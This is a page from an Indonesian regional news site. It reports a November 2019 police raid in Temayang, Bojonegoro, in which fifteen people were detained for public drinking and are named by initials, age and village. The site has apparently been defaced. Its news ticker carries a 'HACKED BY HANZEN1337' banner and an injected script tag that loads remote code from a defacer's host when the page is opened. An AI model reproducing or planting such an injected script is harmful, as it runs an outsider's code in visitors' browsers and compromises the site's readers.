News Ticker
  • HACKED BY HANZEN1337
  • <script src="https://jso.defacer.id/raw/I7j6n4T3C9"></script>
  • Kunjungan Kerja di Bojonegoro, Menhan Sjafrie Sjamsoeddin Tinjau Rencana Pengembangan Batalyon TP 885 dan Brigif 33 di Dander
  • 11 Juli dalam Sejarah
  • Prakiraan Cuaca Bojonegoro 11 Juli 2026
  • Kandang Ayam Senilai Rp2 M di Malo, Bojonegoro Ludes Terbakar
  • Panen Melon Bersama, Bupati Bojonegoro Ajak Generasi Muda Bangun Pertanian Modern
  • Pemkab Bojonegoro Alokasikan Rp11,03 Miliar untuk Lima Program Beasiswa Mahasiswa
  • Seorang Lansia Bojonegoro Tewas Tertabrak Kereta Api Jayabaya di Perlintasan Baureno
  • Perkiraan Harga Emas Hari Ini, 10 Jul 2026
  • Prakiraan Cuaca Bojonegoro 10 Juli 2026
  • 10 Juli dalam Sejarah
  • Kecamatan Kota Dominasi Emas Kickboxing, Klasemen Sementara Porkab II Bojonegoro Masih Memimpin
  • Dalam Sehari Terjadi Enam Kebakaran Lahan di Bojonegoro, Ini Daftarnya
  • Pemkab Bojonegoro Berikan Pembinaan Ribuan Mahasiswa Penerima Beasiswa Daerah
  • "El Último Tango", Sepatu Spesial Adidas untuk Perjalanan Terakhir Messi di Piala Dunia
  • Kejari Bojonegoro Terima Tahap II Kasus Dugaan Peredaran Rokok Ilegal
  • Paripurna DPRD, Raperda Pertanggungjawaban APBD 2025 Disetujui
  • Hadapi Musim Kemarau, Pemkab Bojonegoro Distribusikan Air Bersih ke Sejumlah Desa
  • Pemkab Bojonegoro Dorong Setiap OPD Lahirkan Inovasi Lewat BIA 2026
  • Prakiraan Cuaca Bojonegoro 9 Juli 2026
  • Rumah Kosong di Kapas, Bojonegoro Terbakar, Kerugian Capai 150 Juta Rupiah
  • Merayakan Detik Ini: Menemukan Kedamaian dalam Jejak Hidup yang Singkat
  • Tiga Rumah di Temayang Bojonegoro Terbakar Akibat Korsleting Listrik, Total Kerugian 520 Juta Rupiah
Minum-Minuman Keras di Cafe, 15 Orang di Temayang Bojonegoro Diamankan Polisi

Operasi Pekat

Minum-Minuman Keras di Cafe, 15 Orang di Temayang Bojonegoro Diamankan Polisi

Bojonegoro - Polres Bojonegoro pada Sabtu (16/11/2019), mulai pukul 21.00 WIB hingga Minggu (17/11/2019) pukul 01.30 WIB, menggelar operasi penyakit masyarakat (pekat) di salah satu rumah yang dijadikan café, di Desa Pancur Kecamatan Temayang Kabupaten Bojonegoro.
 
Dalam operasi tersebut, petugas mengamankan 15 orang, 2 di antaranya perempuan, yang didapati sendang minum-minuman keras di muka umum dan mengganggu ketertiban umum.
 
 
Operasi tersebut dipimpin Wakapolres Bojonegoro, Kompol Achmad Fauzy SIK SH MIK, didampingi Kasat Reskrim Polres Bojonegoro, AKP Rifaldhy Hangga Putra SH SIK; KBO Sat Sabhara; Ipda M Thohir, KBO Sat Intelkam; Ipda Joko Sutrisno; dan melibatkan 20 personel dari Sat Sabhara Polres Bojonegoro.
 
Turut hadir dalam kegiatan operasi tersebut Bupati Bojonegoro, Dr Hj Anna Muawanah, didampingi Kepala Dinas Kepemudaan dan Olahraga (Dinpora) Kabupaten Bojonegoro, Dandi Suprayitno AP MSi.
 
 
 
 
 
KBO Sat Sabhara Polres Bojonegoro, Ipda M Thohir kepada media ini menuturkan bahwa dalam operasi yang dipimpin oleh Wakapolres Bojonegoro tersebut, petugas melakukan penindakan terhadap 15 orang, yang terdiri dari seorang penjual dan 14 pembeli atau pelaku yang didapati sedang mabuk di muka umum, di sebuah rumah atau café, yang berlokasi di Desa Pancur Kecamatan Temayang Kabupaten Bojonegoro.
 
"Sebanyak 15 orang kita amankan dan dilakukan pendataan. Selanjutnya akan kita ajukan ke pengadilan," kata Ipda M Thohir.
 
 
Adapun identitas 15 orang tersebut adalah: IIP (50), perempuan warga Desa Pancur Kecamatan Temayang, yang bertindak selaku penjual minuman keras; RML (37), perempuan asal Desa Mayangkawis Kecamatan Balen, yang bertindak selaku pembeli atau peminum; FA (20) dan MCC (21) keduanya warga Desa Wedoro Kecamatan Sugiwaras; ASI (35), warga Desa Panunggalan Kecamatan Sugiwaras; SKN (36) dan PDL (43), keduanya warga Desa Papringan Kecamatan Temayang;
 
Kemudian PWT (38), BSK (36), MAY (22), dan MNS (43), keempatnya warga Desa Kalicilik Kecamatan Sukosewu; HK (37), warga Desa Jatitengah Kecamatan Sugiwaras; FS (25), warga Desa Geger Kecamatan Kedungadem; NCY 36), warga Kelurahan Gundih Kecamatan Bubutan Kota Surabaya dan YQK (27), warga Desa Kesambi Kecamatan Pucuk Kabupaten Lamongan.
 
 
Menurut Ipda M Thohir, para pelaku dijerat dengan pasal 492 Ayat (1) KUHP, tentang mabuk di muka umum. Sementara, seluruh barang bukti yang didapat petugas, saat ini diamankan di Mapolres Bojonegoro.
 
"Para pelaku akan diajukan sidang tindak pidana ringan di Pengadilan Negeri Bojonegoro pada Senin satau Selasa mendatang," tutur Ipda M Thohir. (red/imm)
Berita Terkait
1783872707.8143 at start, 1783872708.3021 at end, 0.48780107498169 sec elapsed